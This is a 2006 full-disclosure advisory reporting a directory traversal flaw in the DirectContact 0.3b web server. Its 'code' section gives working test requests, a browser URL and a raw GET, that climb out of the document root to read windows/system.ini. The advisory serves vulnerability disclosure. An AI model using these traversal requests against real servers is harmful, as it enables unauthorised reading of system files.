full-disclosure - directory traversal in DirectContact 0.3b

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Message-ID: <20060227202822.hmi3ocb9u5wcow8k@www3.autistici.org>
Date: Mon Feb 27 19:28:33 2006
From: fdonato at autistici.org (Donato Ferrante)
Subject: directory traversal in DirectContact 0.3b

                           Donato Ferrante


Application:  DirectContact
              http://reyero.info/dc/

Version:      0.3b

Bug:          directory traversal

Date:         27-Feb-2006

Author:       Donato Ferrante
              e-mail: fdonato@...istici.org
              web:    www.autistici.org/fdonato



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1. Description
2. The bug
3. The code
4. The fix



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1. Description:
----------------

Vendor's Description:

"DirectContact turns your computer in real "friendly" HTTP server."



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2. The bug:
------------

The program is unable to manage malicious patterns like ..\ or ../.
So an attacker can go out the document root assigned to the webserver
and see/download all the files available on the remote system.



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3. The code:
-------------

To test the vulnerability:

via browser:
http://[host]:[port]/..\..\..\..\windows/system.ini

via raw request:
GET /../../../../../../windows/system.ini HTTP/1.1



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4. The fix:
------------

Vendor has been contacted.
Bug will be fixed in the next release.



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